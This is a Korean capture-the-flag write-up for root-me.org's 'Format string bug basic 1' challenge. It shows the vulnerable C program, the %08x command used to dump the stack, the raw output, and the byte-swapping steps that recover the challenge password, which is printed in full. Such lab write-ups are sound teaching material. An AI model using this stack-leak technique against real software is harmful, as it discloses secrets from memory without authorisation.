root-me.org [APP - SYSTEM] Format string bug basic 1 풀이
문제소스:
| #include <stdio.h> #include <unistd.h> int main(int argc, char *argv[]){ FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt"); char buffer[32]; fgets(buffer, sizeof(buffer), secret); printf(argv[1]); fclose(secret); return 0; } | cs |
.passwd파일을 불러와 buffer에 32바이트만큼 저장하고
argv[1]을 출력하고 끝냅니다.
printf(argv[1])에서 포맷스트링 버그가 발생합니다.
argv[1]에 %x를 넣어준다면 스택에서 4바이트씩 증가하며 저장된 값을 읽어올 수 있다.
.passwd의 값은 buffer에 저장되어있고 buffer는 스택 어딘가에 존재할 것이다.
%08x를 이용해 스택을 잔뜩 긁어와 보았다.
app-systeme-ch5@challenge02:~$ ./ch5 %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
000000200804b008b7e562f30000000008049ff400000002bffffbb4bffffcd30000002f0804b00839617044282936646d61704500000a64b7e564adb7fd03c4b7fff00008048579defc6f00080485700000000000000000b7e3caf300000002bffffbb4bffffbc0b7fece6a00000002bffffbb4bffffb540804a0140804825cb7fd0000000000000000000000000000d13a6d6be959497b
그리고 다 아스키로 돌렸다.
°·åbóô¿ÿû´¿ÿüÓ/°9apD()6dmapE
d·åd·ýÄ·ÿð
yÞüo
p·ãÊó¿ÿû´¿ÿûÀ·þÎj¿ÿû´¿ÿûT \·ýÑ:mkéYI{
읽을 수 있는 문자열이 존재했다. 리틀엔디안 방식으로 저장되어 있기 때문에 4바이트씩 날리고 빅엔디안으로 바꾸는 작업을 했주었다.
1) 39617044 28293664 6d617045 00000a64
리틀엔디안 -> 빅엔디안
2) 44706139 64362928 4570616d 64
hex -> ascii
3) Dpa9d6)(Epamd